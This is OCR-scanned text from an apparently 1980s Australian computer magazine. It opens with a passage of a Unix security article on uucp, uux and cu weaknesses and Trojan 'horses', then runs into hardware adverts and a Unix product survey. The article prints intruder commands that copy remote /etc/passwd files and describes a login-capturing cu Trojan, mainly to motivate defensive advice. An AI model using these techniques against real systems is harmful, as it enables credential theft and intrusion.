unrestricted, it will let any outside user 
execute any commands and copy out or in 

any file that is readable/writable by a uucp > 
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login user. It is up to the individual sites to 
be aware of this and apply the protections 
they think are necessary. If the administra- 
tor of asite is naive or inattentive, getting a 
password file from that site can be as easy 
as typing: 

uucp -m target'/etc/passwd gift 

to copy the remote machine’s password 
file to a local file called gift (the -m option 
is aconvenience, not a necessity; it causes 

uucp to send mail to the intruder when the 
gift has arrived). Three years ago, this ploy 
was almost certain to succeed. Today, 
many (but not all) systems have restric- 
tions on which files can be accessed and by 
whom. Typically, they restrict access to a 
directory reserved for that purpose: 

/usr/spool/uucppublic. 

If the direct approach is spurned, uux 
might be tried. The uux program is part of 
the uucp system. It causes execution of 
programs to take place on remote systems 
Its main use — in practice, almost its only 

use — is to start up the mail delivery 
machinery on a remote system after uucp 

has delivered the mail files to a spooling 
area. Like uucp, though, it has full general- 
ity built in, and it may be possible to suc- 
cessfully execute a command like: 

uux “target'cat </etc/passwd>/usr/spool/ 

uucppublic’’ 

This copies the password file to the re- 
mote machine's spool directory, from 
which it can later be plucked. Like uucp, uux 
may have some restrictions, but there is a 
difference: to ensure generality, the re- 
mote system passes the arguments of uux 
to a shell for interpretation and execution. 
The far end of a uucp transaction needs 
only to see whether access to some file is 
legitimate, but the far end of a uux transac- 
tion must examine the command and its 
context and decide whether the result will 
be harmful. The latter is extremely difficult, 
because the shell, like most other mac- 
roinstruction processors, has some very 

complex quoting conventions deliberately 
designed to hide certain types of strings 
until the proper time for their expansion. 
An intruder with sufficient shell program- 
ming experience is likely to succeed here. 

Finally, given that neither uucp nor uux 
will perform as directed, there is always the 
option of making a private copy of uucp. No 
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Consider two machines, 
one on which very careful 
attention has been paid to 

security concerns, and 
another on which security 
issues have been utterly 
neglected. An intruder on 
the weak machine need 
only install a horse ... 

special permissions are required, either to 
run the program or to access the telephone 
diallers. The private copy can assert that it 
is calling from anywhere, and there is no 
way for the called machine to verify the 
claim. Thus, an intruder stands a good 
chance of dialling into one of a cluster of 
friendly machines, masquerading as one of 
the family, and finding access permissions 
greatly relaxed. 

Another communications program, cal- 
led cu, is especially appealing to intruders. 
The name stands for ‘call Unix’. It allows a 
user of a Unix system to call another sys- 
tem, not necessarily a Unix system, and to 
conduct an interactive session on the re- 
mote machine. A typical cu session starts 
like this: 

S cu 5551212 

Connected 
remote 
login: user 
Password 

S (session from here until .) 

Note the sequence of events. The cu 

command is invoked and given the tele- 
phone number of the remote machine. A 
connection is made, and the user is asked 
for a login name and a password. If these 
are correctly given, the session proceeds 
as if the user had dialled in manually. The 
session ends when the user types a line 
beginning with ‘.’. 

Consider two machines, one on which 
very careful attention has been paid to 
security concerns, and another on which 
security issues have been utterly neg- 
lected. An intruder on the weak machine 
need only install a horse — a version of cu 

that, in addition to making connections, 
also copies the first few lines of a session 
somewhere — to obtain the keys to the 
strong machine. 

The ct command causes a machine to 
call out to a terminal in order to let that 
terminal log in to the machine. It is other- 
wise identical to the cu command, but from 
an intruder’s point of view, the target 
machine gets to pay the phone bill (that’s 
what we call adding insult to injury!). This 
reduced cost is counterbalanced by the 
greatly increased risk of getting caught by 
audit procedures. 

Given that a remote machine cannot re- 
liably identify its caller, allowing the re- 
mote execution of arbitrary commands is a 

sure way to invite trouble. Remote execu- 
tion of a shell is deadly, but even an in- 
nocuous command like cat can be used to 
an intruder’s advantage. The uucp program 
that is used by most Unix machines was 
not written with security in mind. It can do 
just about anything, and it is up to the 
system administrator to restrict its capabi- 

lities. The cure is to rewrite uucp so that it is 
able to deliver mail, to copy files to and 
from spool directories, and to send out 
data only when it has initiated the connec- 
tion. We did this in our research environ- 
ment some time ago. Other efforts are in 

progress elsewhere. 
The cu program can be a security disas- 

ter. Banning it from a machine or restrict- 
ing access to devices will do no good at all, 
for the obvious reason. The best that can 
be done is to educate users: 
® Donot usecu froma machine that is not 

trusted. 
® Do not use cu to a machine that is not 

trusted. 
™ Do not browse on the remote machine. 

(This advice is remarkably similar to that 

which parents give their children: “Do not 
go for a ride with a stranger.) 

Caught In Your Own Trap 

It is one thing to clean up a system by 
plugging open holes, and quite another to 
install security machinery that collects evi- 
dence of possible chicanery. The latter can 
be very useful or very dangerous, depend- 
ing on how it is done, since it often hap- 
pens that information that is helpful! to 
system administrators can be just as help- 
ful— or more so—to an intruder. Here are 
some security tools that can help weaken 
system security: 

Logging su activity: The su command 
allows a user to assume the identity of any 



other user (the default being root, the su- 
per-user) if the password corresponding to 
the desired new identity is correctly given. 
As a security measure, most implementa- 

tions of su also append a line to a log file 
called sulog. Now consider the plight of an 
intruder who has just used a borrowed 
password to break into a strange machine, 
and who now has the task of locating the 
important people from among perhaps 
hundreds in the password file — for them, 
sulog is a list of horse targets. 

If sulog exists on a machine, no matter 
how it is protected or what it is called, 
there is a potential risk for the administra- 
tor but none for the knowledgeable intrud- 
er. The way to reverse the score is to keep 
the tracks off the machine, where they can- 
not be accessed, even by the super-user. 
The paper console copy in the machine 
room is a very good place, especially if the 
system administrator reads it occa- 

sionally. 
Recording unsuccessful login attempts: 

Some systems record unsuccessful login 
attempts. The login name, time, and ter- 
minal number are stored, but the pass- 
word used is not, for the obvious reasons. 
The intent of such login is to alert the 
system administrator that an intruder 
stands at the door making guesses at the 
key. 

It is one thing to clean up 
a system by plugging 
open holes, and quite 

another to install security 
machinery that collects 

evidence of possible 
chicanery. The latter can 
be very useful or very 

dangerous, depending on 
how it is done. 

One reason that login attempts fail is 
that people sometimes type a password 
when asked for a login name. Whether this 
is due to haste, carelessness, inattention, 
or sluggish system response during peak 
hours is not known. What is known is that 
collecting login names from unsuccessful 
access attempts will almost invariably col- 
lect a few passwords as well, and that any 
login name thus collected that is not found 
in the system’s password file is almost 
certainly a password. Finding the match is 
not difficult 

THERE (IS NO DEFENCE AGAINGT THE 
LOGIN HORSE EXCEPT VSER EDUCATION... 
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Disabling accounts based on unsuc- 
cessful logins: Some systems will count 
the number of consecutive login attempts 
for a particular user and disable the 
account after some pain threshold is 
reached. The magic number is usually 
three. This ploy has the marginal benefit of 
annoying would-be intruders who go 
through the unprofitable exercise of cast- 
ing spells at the door, hoping it will open. 
For the intruder who has already gained 
access to the system, and who wants to get 
rid of the system administrator, the feature 
is a blessing: 

login: guru 
password: foo 

repeated the appropriate number of times 
will assure the intruder of privacy for at 
least a little while! 

The Big Risk: People 

By far the greatest security hazard for a 
system, the Unix system or otherwise, is 
the set of people who use it. If the people 
who use a machine are naive about secur- 
ity issues, the machine will be vulnerable 
regardless of what is done by the local 
management. This applies particularly to 
the system's administrators, but ordinary 
users should also take heed. 

The system administrator is responsible 
for overseeing the security of the system as 
a whole. Several things are especially im- 
portant. 

@ The password file is the most important 
file to watch in the system. It should not, 
of course, be writable by anyone other 
than the super-user, nor should it be 
available for perusal by anyone who is 
not currently logged into the machine. 
For example, it should not be shipped 
by uucp in response to an outside re- 
quest. 

™ Login entries with no passwords are 

very unwise. 

@ Group logins, that is, the use of a single 
login name and password for a number 
of people, are to be avoided. 

@ The worst group login, and one that is 
found on virtually all Unix machines, is 
root, the login name of the super-user. 
Every time someone logs in as root, the 

system administrator can tell that 
someone logged in with super-user pri- 
vileges, but there is no hint as to who 
that person might be. There is no need 
for anonymous super-users — it is bet- 
ter to require a normal login and effect p 
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the transformation via the su command, 
especially if su leaves tracks on a piece 
of paper somewhere. 

m@ The use of restricted shells to contain 
people who log in without passwords or 
through group logins is simply ineffec- 
tive. 

® Administrators’ personal passwords are 
most important, both to the administra- 
tors and to potential intruders. An in- 
truder is happy to get anybody's pass- 
word that provides access to the 
machine. If the password is that of a 
system administrator and thus allows 
some special group permissions such 
as bin, sys, or uucp, So much the better. It 
is strongly recommended that on the 
machines they maintain administrators 
use different passwords than they use 
on any other machines. 

m A system administrator should be able 
to explain the presence of every SUID- 
root program on the system, and to 
show that these have at least been 
looked at for surprises. Compilation 
from ‘clean’ source code is helpful, but 
not always sufficient. 

@ Protection against horses for people 
who have super-user privileges is 
essential. This means checking PATH 
variables, directories, and files owned 

Giving away logins and 
passwords is all too 

common. The same people 
who would never consider 

giving the keys to a 
company car to a friend 
are often quite willing to 
give away the keys to the 
company computer, even 

though the potential for 
loss may be orders of 
magnitude greater. 

The Bad Habits 

Users, including system administrators, 
often have surprisingly bad habits with re- 
spect to system security. Here are some of 
the worst. 

@ Giving away logins and passwords is all 

Crack a Unix Today 

tial for loss may be orders of magnitude 
greater. 

Obvious swindles tend to be ignored. 
Most Trojan horses work only because 
most people have not given any thought 
to the fact that programs that ask for 
things like passwords might not be the 
genuine article. If something goes 
wrong, they ask no questions. 
Generally, little thought goes into the 
choice of non-trivial passwords, pass- 
words are not changed except under 
duress, anda one-size-fits-all attitude is 
common. 
Carefree networking is the norm, not the 
exception. 

Sensitive information about projects 

and people is routinely kept on public 
machines. 
The only approach to these problems is 

user education. O 
You NAME. (7... 

.-- GARDEN MANURE... 
DALE OF HAY... CUTE 

Fiuy...ROLLS ROYCE... 

by such people to see that the files they 
execute are writable only by themselves 
or by trusted administrators. Again, 
such protection is not sufficient, but it 

does remove the obvious targets. 

too common. The same people who 
would never consider giving the keys to 
a company car to a friend are often quite 
willing to give away the keys to the com- 
pany computer, even though the poten- 

A HORSE WAMED SU", PLACED WHERE IT WILL BE 
EXECUTED BY A SYSTEM ADMINISTRATOR, CAN USUALLY 
BE RELIED ONTO SEND AGIFT WITHIN HOURS... 

BASIC XL 
This is the BASIC Atari should have used. Lon 
programs can run 2-4 times faster. Special 
commands for Player/Missiles, strings and more. 
ACTION! RRP $149.00 

High level, structured, compiled language for Atari. For 
those who have found BASIC too slow or assembler 
too difficult. Fast, powerful and user friendly. 
MAC/65 RRP $149.00 
A fast, powerful macro assembler. Includes 
Editor, Macro assembler and debugger. 
PRINTER INTERFACES 

MICROPRINT & MPP-1150. Connect to std I/O port. 
Compatible with all software (unlike joystick interfaces) 
— $119.00 and $149.00. Print Buffer — 64K, for all 
computers $329.00 
Distributed by 

PROGRESSIVE COMPUTING PTY LTD 
P.O. Box 243, Enfield N.S.W. 2136. Phone: (02) 76-5615 

R-VERTER 
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THE WRITERS TOOL 

Designed for writers who want to write, not spend 
hours learning to use a word processor. Use all 
your printer’s capabilities when printing, includes 
Spelling Checker. 
TOOL KITS & DOS XL 

Libraries of subroutines and macros for MAC/65 
plus demo games for BASIC XL & ACTION! 

RRP $149.00 

RRP $69.95 

RRP $89.00 
Connect most modems to the ATARI without the 
850 interface. Connects to standard I/O port. 
Includes RS232 handlers, smart terminal software 
which includes XMODEM protocol. 
ANTIC & ANALOG call for availability 

DEALER EN QUIRIES WELCOME *Prices subject to change without notice. 

For Mail Orders Add P & P: 
$4 = lst Item, $1 Each Extra Item. 
Send Cheque or Bankcard Number 
(include signature & Expiry Date) 
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= COMPUTERS" 
When you produce Australia’s best pa 
monthly computer magazine — “Your co 
Computer’ — the most frequent 
question you encounter is “Which 
computer should | buy?” 

There’s no simple answer to this — 
it all depends on what you want to use 
a computer for, how large a task you 
have in mind, where you want to use it, 
and much more. But people still ask, so 
it seemed a good idea to collect ) 
together in one volume a large number ee 
of reviews and reports on Australia’s . 
most popular computers, so that people fi ULAR... 
can read all the evidence side-by-side ff AL L iy ry ; 
and form their own judgments. | BRA — Apr - 

SSS 

‘Buying a Computer’ is the result. 
In it are reviewed more than 25 
computers available in Australia, | 
divided into three sections covering | sord cilia 
personal computers, business computers™ 
and portables. Everything from the Cat 
to the various Apples is covered, 
passing through such wonders as the 
Apricot, Rainbow, cash ‘n’ carry crowd 

descriptions of 1984's eight ‘best’ 
computers as judged in ‘Your 

— and of course the ubiquitous IBM. If Computer's’ Personal Computer of the 
it’s available in Australia, the chances Year Awards. 

are it's reviewed in ‘Buying a If you're thinking of buying a 
Computer’. computer, for business or personal use, 

In addition to the reviews are ‘Buying a Computer’ is indispensable. 
It's the only way you'll get an objective several general articles covering advice a 
opinion on just about every computer on on what to consider when buying, 

learning fast when you're thrown in the the market. 
deep end, a price list of computers Available from your newsagent now 
ranging from $280 to $20,000, and — price $4.50. 
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WHERE DO U GET NIX? 

Software, hardware, training, books — there's 
something for everyone out there in Unixland. Maria 
Lengas has been hard at work (database in one 
hand, MailMerge in the other, telephone in the 
other, keyboard in the other ... strange-looking girl) 
finding out all the details. Whether you want to read 
about it, or do it — for one to 128 users — you 
could find the information you need right here in our 
Unix Product Survey. 

Hardware 
Colex Hi-Rise DM/6 
Supplier. Colex Australia, 31-33 Hume 
Street, Crows Nest NSW 2065: (02) 439 

8766. 
Price: $23,274 incl. tax. Price includes Unix 
System V and facility to run 3 users. 
Description: An attractive floor-mounted com- 
puter with up to 2 Mbytes of RAM. The DM/6 
supports Unix System V, PDOS, CP/M-68K 
and MS-DOS. It is a two-board computer, 
with an 80186 used to handle all I/O opera- 
tions, allowing multiple operating systems to 
be run simultaneously. Standard VME Bus 
implementation with 6-slot card page. 
Basic Configuration. 25 Mbyte hard disk and 
floppy and | Mbyte of RAM. 
Unix version supported: System V. 

Convergent Technologies Megaframe 
Supplier. Sigma Data Corporation, I Ith 
floor, 157 Walker Street, North Sydney 
2060; (02) 957 3777. 

Price: $62,400 
Description: The Megaframe supports multiple 
68010 and 80186 CPUs, 28 Mbytes of RAM 
and up to 128 users. Systems start with six 
slots and can be expanded to 36 slots. Soft- 
ware includes five standard languages — 
COBOL, BASIC interpreter and compiler, 
FORTRAN 77, Pascal and C. Data manage- 
ment facilities include ISAM, screen gener- 
ator and sort/merge. 
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Basic Configuration: C programming language, 
CTOS operating system, 50 Mbyte removable 
hard disk, Unix System V, 512 Kbyte terminal 
processor, 512 Kbyte application processor, 
68010 and 80186 CPUs and 256 Kbyte file 

processor, Qume QVTIO terminal. 
Unix version supported: System V (virtual mem- 
Ory). 

Convergent Technologies Miniframe 
Supplier: Sigma Data Corporation, | 1th 
floor, 157 Walker Street, North Sydney 
2060; (02) 957 3777. 

Price: $31,700 
Description: The Miniframe is based on a 68010 
processor with 512 Kbytes of RAM as stan- 
dard. Programming languages available in- 
clude COBOL, BASIC interpreter and compil- 
er, FORTRAN 77, Pascal and C. Data manage- 
ment facilities include ISAM, screen gener- 
ator, and sort/merge, while office processing 
tools include word processing, financial 
spreadsheet, and electronic mail. 
Basic Configuration: 68010 CPU, 512 Kbytes 
RAM, 50 Mbyte hard disk, 13 cm floppy disk 
drive, two RS-232 serial ports, one RS-422 
port, Unix System V, C programming lan- 
guage, CTOS operating system, and one in- 
telligent terminal (8088 processor). 
Unix version supported: System V (virtual mem- 
Ory). 

Cromemco System 100 
Supplier: Insystems, Suite 11, 84 Pacific 
Highway, St Leonards 2065; (02) 439 3788. 

Price: $20,350 
Description: A machine with dual Z80B and 
M68010 processors and up to 4 Mbytes of 
core memory, the System 100 can handle 8 
users. It has a high-speed ST506-type Win- 
chester (50 Mbytes standard, expandable to 
1200 Mbytes) with on-board disk buffer mem- 
ory. The full range of communications pro- 
tocols and peripherals are supported. Op- 
tions include a 12-MIP co-processor, a BIART 

communications card, high-resolution col- 
our graphics, and a nine-track tape drive. 
Basic Configuration: CS100 with 50 Mbyte hard 
disk and 512 Kbytes of RAM. 
Unix version supported: System V with Berkeley 
enhancements. 
Supplier. Minicomp Software & Hardware, 
104-108 Mount Street, North Sydney NSW 
2060; (02) 957 6800. 

Price: $15,006 
Description: The System 100 is a desktop com- 
puter which provides multi-user, multi- 
tasking capabilities. This is the smallest unit 
in Cromemco’s new range of Unix machines. 
The System 100 can be expanded to hold 150 
Mbytes of hard disk storage, 2 Mbytes of in- 
ternal memory and 17 serial I/O ports. Like 
Cromemco's other systems, it has a unique 
XMM memory manager for Unix. It is pro- 
vided with AT&T's Unix System V and 
Cromemco’s proprietary operating system 
Cromix Plus. 
Basic Configuration: 21 Mbyte hard disk, | 
Mbyte RAM. 

Unix version supported: System V (plus Berkeley 
enhancements). 



We've got the lot, a 
Monitors, Modems, Printe 

full range of Connec 

RITRON MULTI 
PURPOSE MODEM 
Our New RITRON Multi Purpose 
Modem has arrived and has all the 
standards you require. 
Just check the Ritron’s features: 

@ CCITT V21 300 Buad Full duplex 
@ CCITT V23 1200/75 
® Bell 103 300 Full duplex 
@ Bell 202 1200 Half duplex 
@ Auto answer, auto disconnect. 
Telecom Approval No. C84/37/1134 

$379 

CICADA 300 
@ 300 baud 
@ Provides full 12V bipolar 

ouput signal 
@ Direct connect modem 
@ Full duplex operation 
(Phone not included) 

Cat. X19101 

TELECOMMUNICATION 

PLUG TO 2 SOCKETS. 

Ideal for modem connections 

Cat. Y16014 $12.95 

ROD IRVING ELECTRONICS 

425 High Street, 
NORTHCOTE, 3070 
VICTORIA, AUSTRALIA 
Phone (03) 489 8866 

TELEX: AA 38897 

48-50 A'Beckett Street, 
MELBOURNE, 3000 

VICTORIA, AUSTRALIA 
Ph. (03) 663 6151 

Mail Order and 
correspondance: 

P.O. BOX 235 

NORTHCOTE 3070 

MAIL ORDER 
HOT LINE 

(03) 481 1436 
POSTAGE RATES 
$1-$9.99 ...... $2.00 
$10-$24.99 .... $3.00 
$25-$49.99 .... $4.00 
$50-$99.99 .... $5.00 
$100-199 ...... $7.50 
$200-$499 .... $10.00 
$500 plus .... $12.50 
This is for basic postage 
only, Comet Road freight, 
bulky and fragile items 
will be charged at 
different rates. 
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MICROBEE ENHANCER 1 
This brand new, totally 
amazing kit for the Microbee 
is a must for all Microbee 
owners/users! 
Most expansion units up to this time 
offered at best only one or other 
features; and this made it impossible 
to run, say, complex sound effects 
mingled with speech. The Enhancer 
1 will do all this and much more as 
well. It is quite amazing how much 
has been shoe-horned into this 
compact unit. The Enhancer 1s’ 
many powerful features inlcude: 
@ Two ATARI/COMMODORE/ 

COLECO/SEARS type joystick 
inputs. 
Two TRS COLOR COMPUTER 
type joystick inputs. 
Allows the connection of Touch 
Pads, Paddles, Proportional 
Joysticks, Trakballs, Mice, 
temperature senors, lights level 
sensors, transducers, etc, etc!! 
A 4 voice music/sound effects 
sythesizer. 
A real time clock. 
Unlimited vocabulary speech 
synthesizer (option). 
Parallel printer interface (option) 
A built-in speaker with volume 
control. 
Listings of all necesary routines 
for use. 
An impressive demonstration 
program package. 
Compatible to all Microbees. 
All units carry a 90 day warranty 
and servicing is also available. 
Digital recording and playback of 
speech and sound. 
An 8 channel analog to digital 
converter with variable voltage or 
variable resistance type analog 
inputs and also user selectable 
resolution from 1 to 9 bits. 
A digital to analog converter with 
selctable resolution from 1-8 bits 
Allows automatic data acquisition 
and logging. 
5 digital input lines, 4 digital ouput 
lines. 
A voice input channel. 
A 40 pin experimenter socket with 
all 8 analog inputs, 5 digital 
inputs, 4 digital ouputs, 3.58 MHz 
buffered clock, sound output (so 
that you can play the sound 
effects through your HI Fl), 3 high 
resolution voltage comparators, 
DAC output etc. 

The amazing Microbee Enhancer is 
available exclusively from 
Rod Irving Electronics. 

$149 

RR 
“IBM TYPE 
COMPUTER CASING 
Give your kit computer a totally 
professional appearance with one of 
these “IBM type" casings, includes 
room for 2 5 '/4 inch disk drives and 
connection ports. Dimensions 
49x39x5cm. 

$109 Cat. X11090 

MAINS MUFFLER 
Sudden mains distrubances can 
seriously affect your computer 
equipment, and stored data. Why 
risk it, when you can have a Mains 
Muffler, particularly when the cost of 
one failure is likely to be greater than 
the purchase price! 
Specification: 
Maximum total load: 

1000w 4 AMP 250v 50Hz 
First Stage- Single PI Section 
Attenuation . 150KHz - 40dB 

500 KHz - 65dB 
10 KHz - 80dB 

Second Stage- Dual T Section 
Attenuation — - 150KHz - 20dB 

500 KHz - 60dB 
10 KHz - 70dB 

VDR Transient Suppression 
Surge capacity 2000 AMP 8x20 uS 

Cat. X10090 $249 

rs, Cables, Cheap Disks, Dri 

GRAPHIC MOUSE 
SYSTEM 
Now everybody can create superb 
computer graphics in minutes. Think 
of how much more professional your 
work could look with the ‘Graphic 
Mouse’! An absolute must for Apple 
lle users. Includes software and 
mouse. 

Cat. X17037 only $99 

APPLE* COMPATIBLE 
CARDS 
Printer Card Cat. X17029 $85 

Drive Card Cat. X17019 $85 
Speech Card Cat. X17031 $75 
80 Column Card Cat. X17025 $95 

ie 
> | 
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APPLE JOYSTICKS 
Ideal for games or word processing. 
Fits most 6502 “compatible” 
computers 

Cat. C14200 

APPLE* COMPATIBLE 
SLIMLINE DISK DRIVES 
Cat. X19901 
1-9 10+ 

$225 $220 
(“Apple is a registered trade mark.) 

pn 

REPLACEMENT 
KEYBOARDS 
@ For Apple 
@ 42 single key BASIC command 
@ One chip custom design encoder 
@ Made by ALPS, life time, 

10 million operations 
@ Dimension: L340xW110xH42mm 

Cat. KC2002 $79.50 

@ For Apple 
@ 45 built in function keys, BASIC 

and CP/M command. 
@ 45 user defined keys 
@ Built-in shift lock 
® Made by ALPS, life time, 

10 million operations 
@ Dimension: L340xW130xH42mm 

Cat. KC2002 

IBM* COMPATIBLE 
COMPUTER 
$2,450 

Including Tax! 
“IBM is a registered trademark. 

MITSUBISHI DISK 

DRIVES 
M2896-63 
Slimline 8” Disk Drive, Double sided 
Density No AC power required. 3ms 
track to track, 1.6 Mbytes 
unformatted, 77 track side 10s/su10 
bit soft error rate. 

Cat. C11916 $550 
Case & Power Supply to suit 

$159 Cat. X11022 
M2894 
Standard size 8” drive. Double 

Cat. C11914 $630 
Case & Power Supply to suit 

Cat. X11011 $89 
M4854 
Slimline 51/4” disk drive. Double 
sided, double density, 96 track/inch, 
9621 bit/inch, 1.6Mbyte unformatted 
3ms track to track access, 77 track/ 
side. 

Cat. C11904 $350 
Case & Power Supply to suit. 

Cat. X11011 $89 
M4853 
Slimline 51/4” disk drive, Double 
sided, double density, 1 Mbyte 
unformatted, 3ms track to track, 80 
track/side, 5922 bits/inch. 

$260 Cat. C11903 

M4851 
Slimline 51/4” disk drive. Double 
sided, double density 500K 
unformatted, 40 track/side. Steel 
band drive system. 

Cat. C11901 $199 
Case & Power Supply to suit 

Cat. X11011 $89 
M4855 
Slimline 51/4” disk drive, double 
sided, double density, 96 track/inch. 
2.0 Mbytes unformatted. 

$385 Cat. C11905 

MF351 
31/2” Standard size disk drive. 
Single sided, double density. 

Cat. C11921 

RITRON 2 
Stylish swivel base monitor, 
available in amber or green 
1-9 10+ 
Green Cat. X14500 

$215 
Amber Cat. X14500 

$219 

PHOENIX 5 
Suits Apple, Commodore, even your 
VCR! 
@Pal and R.G.B. 
@Normal Resolution 
@13” CRT Dot Pitch 0.65mm 
@Horiz. Resol. 320 TV lines 
eVert. Resol. 560 TV lines 
e@Display Characters 1,000 
Ch.(40x25) 

@16 Colours (Pal) 
@Green text display 

Cat. X14522 

PHOENIX 4 
@R.G.B.,TTL. 
@High Resolution 
@13” CRT Dot Pitch 0.31mm 
®@Horiz. Resolution 720 dots 
Vert. Resolution 240 T.V. Lines 
@Display Characters 2000 

Ch. (80 x 25) 
8 Display colours and intensity 
Green text display 

$849 Cat. X14520 

tors, Joysticks, etc etc! 

XIDEX PRECISION 
SCREEN 
Headaches, fatigue and tired eyes 
are a common complaint from users 
of CRT’s. But studies have reported 
that the use of the Xidex Precision 
Screen, actually increases 
effeciency 20% while relieving eye 
strain, headaches and general 
fatigue. 
1-9 10+ 

$39.70 37.00 

yy SA Gp 

IC SPECIALS! 
1-9 10+ 

4116 $1.80 $1.70 
4164 $2.75 $2.55 
2716 $5.90 $5.50 
2732 $6.25 $5.95 
2764 $8.25 $7.95 
27128 $12.50 $11.50 
6116 $5.50 $5.15 

$14.50 $12.50 

IBM ADD ON HARD DISK 
@ 10 Mbyte 
®@ Seagate hard disk 
@ Hard disk controller by Xebec 

Cat. X20010 $1,495 

RITEMAN INFO RUNNER 
An exciting new printer from the 
experts “Riteman”. This compact 
Stylish printer performs iike printers 
twice its’ price and size. 120 C.P.S., 
dot resolution graphics, tractor/friction 
feed, 10” paper. 

$459 

Juki Printer 
Professional daisy wheel printer 
18CPS full incremental mode Diablo 
630 emulation. Large range of daisy 
wheels. 8K internal buffer available. 

WAS $790 NOW $725 

FULL RANGE O 
ITOH PRINTERS 
8510 SP 180 C.P.S. 

tax exempt $773 
1550 SP 180 C.P.S. 

tax exempt $1,000 inci. tax $1,167 

8510 SC (Colour) 

tax exempt $906 
1550 SC (Colour) 

tax exempt $1,132 incl. tax $1,321 

incl. tax $928 

incl. tax $1,057 

READY MADE CABLES 
Serial to serial. 2m 

$18.95 Cat. P19011 
Parallel centronics to centronics. 2m 

Cat. P19013 $23.95 

t Rod Irving Electronics! 
ves, Cheap IC's, Storage Boxes, 

DISKS GALORE!! 
All prices for boxes of 10. 
Single disks 10% extra. 

SPECIALS! 
MD525-01 S/S D/D Cat. C12501 $29.50 
MD550-01 D/S D/D Cat. C12504 $39.50 
Head Cleaners 
C12551 5” Head Cleaner 
C12851 8” Head Cleaner 

VALUELIFE 
C12421 S/S D/D 
C12425 D/S D/D 

8” Verbatim 
C12800 FD32-1000 S/S S/D 
C12801 FD32-8000 S/S D/D 
C12802 FD32-9000 S/S D/D 
C12803 FD34-1000 S/S D/D 
C12804 FD34-8000 S/S D/D 
C12805 FD10-4008 D/S S/D 
C12806 FD10-4015 D/S S/D 
C12807 FD10-4026 D/S S/D 
C12808 FF32-2000 S/D D/D 
C12809 FF34-2000 S/D D/D 
C12810 DD32-4000 D/S D/D 
C12811 DD34-4001 D/S D/D 
C12812 DD34-4008 D/S D/D 
C12813 DD34-4015 D/S D/D 
C12814 DD34-4026 D/S D/D 

51/4” Verbatim Disks 
5 year Datalife guarantee 
MD525-01 $29.50 
(S/S D/D) C12501 

MD525-10 $39.50 
(S/S D/D 10 Sect. 40 Track) C12502 

MD525-16 $39.50 
(S/S D/D 16 Sect 40 Track) C12503 

MD550-01 $39.50 
(D/S D/D) C12504 

MD550-01 $49.50 
(D/S D/D 10 Sect 40 Track) C12505 

MD550-16 $49.50 
(D/S D/D 16 Sect 40 Track) C12506 

MD577-01 $49.50 
(S/S D/D Soft Sect 80 Track) C12507 

MD577-10 $59.50 
(S/S D/D 10 Sect 80 Track) C12508 

MD577-16 $59.50 
(S/S D/D 16 Sect 80 Track) C12509 

MD557-01 $59.50 
(D/S D/D Soft Sect 80 Track) C12510 

MD557-16 $59.50 
(D/S D/D 16 Sect 80 Track) C12511 

$10.50 
$11.50 

$22.95 
$29.95 

$39.50 
$49.50 
$49.50 
$49.50 
$55.50 
$59.50 
$64.50 
$64.50 
$69.00 
$69.00 
$52.50 
$52.50 
$54.50 
$54.50 
$54.50 

Peteerenn eres a ll 

XIDEX DISKS 
1-9 10+ 

Box of 10 S.S. D.D. Cat. C12401 

$34.50 $29.50 
Box of 10 D.S. D.D. Cat. C12410 

$39.50 

DISK STORAGE BOXES 
Efficient and practical, these disk 
storage boxes protect your disks 
from being damaged or lost. 

50’s.Features smoked plastic cover 
with provision for a lock. High impact 
ABS plastic base. 

Cat. C16025 $26.50 
50’s.Features smoked plastic cover 
Divided into 10 sections, each fan 
elevates the disks for easy 
identification and access. 

Cat. C16050 $34.50 
*If not, then very nearly! 

Errors and ommisions excepted 



Cromemco System 300 - 
Supplier: Insystems, Suite I1, 84 Pacific 
Highway, St Leonards 2065; (02) 439 3788. 
Price. $26,855 
Description: This Cromemco is a 21-slot, S100- 
based system, featuring a fast 32-bit proces- 
sor, 16 Mbytes of core memory and support 
for 16 users. Options include a 12-MIP co- 
processor, colour graphics, communications, 
Ethernet PC networking, a nine-track tape 
drive and cartridge drive for backup. 
Basic Configuration: CS300 with 50 Mbyte hard 
disk and 512 Kbytes of RAM. 
Unix version supported: System V with Berkeley 
enhancements. 
Supplier. Minicomp Software & Hardware, 
104-108 Mount Street, North Sydney NSW 
2060; (02) 957 6800. 

Price: $26,367 

Description: The System 300 combines large 
disk storage with processing power. A 20-slot 
bus provides ample room for expansion, and 
the System 300 is totally compatible with the 
smaller System 100 and upwardly compatible 
with Cromemco’s powerful System 400. The 
300 can be expanded to hold 300 Mbytes of 
hard disk storage, 16 Mbytes of internal 

UNIX PRODUCT SURVEY 

memory and 33 serial I/O ports. Provided with 
AT&T's Unix System V and Cromemco’s prop- 
rietary operating system Cromix Plus. 
Basic Configuration. 50 Mbyte hard disk, | 
Mbyte RAM. 
Unix version supported: System V (plus Berkeley 
enhancements). 

Cromemco System 400 
Supplier. Insystems, Suite 11, 84 Pacific 
Highway, St. Leonards NSW 2065; (02) 439 
3788. 
Price: $48,090 
Description: Expandable, free-standing S100 
system with integral 140 or 280 Mbytes of 
hard disk storage and up to 16 Mbytes of 
demand-paged RAM. Supports 16 users. Fea- 
tures a built-in 32 Mbyte cartridge drive. 
Basic Configuration: CS400 with 140 Mbytes 
hard disk, 4 Mbytes of RAM. 
Unix version supported: System V with Berkeley 
enhancements. 
Supplier: Minicomp Software & Hardware, 

104-108 Mount Street, North Sydney NSW 
2060; (02) 957 6800. 
Price: $47,263 
Description: The System 400 is a high-perform- 

UNIX" 
and 

CROMEMCO 
Cromemco 32 bit supermicrocomputers 

use UNIX System V and provide 
unequalled performance obtained 

through the use of Cache memory, 
expandable RAM memory up to 16mb, 
advanced memory management in 
hardware and exceptional expansion 

Capabilities. 
Join the UNIX revolution by telephoning 

(02) 957 6800 
UNIX is a trademark of AT&T Bell Laboratories. 
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ance, high capacity super-micro that is ideal 
for the professional working office environ- 
ment. This is the largest range in the 
Cromemco series of Unix machines and is 
totally compatible with the smaller Systems 
100 and 300. The System 400 can be ex- 
panded to hold 300 Mbytes of hard disk stor- 
age, 16 Mbytes of internal memory, and 64 
serial I/O ports. The system is provided with 
AT&T's Unix System V and Cromemco’s prop- 
rietary operating system Cromix Plus. 
Basic Configuration: 150 Mbyte hard disk, 4 
Mbytes RAM, 8 RS-232 serial I/O ports 
Unix version supported: System V (plus Berkeley 
enhancements) 

Dual 83/80 
Supplier: Dual Systems Australia, 55 Phillip 
Street, Parramatta 2150; (02) 635 6651. 
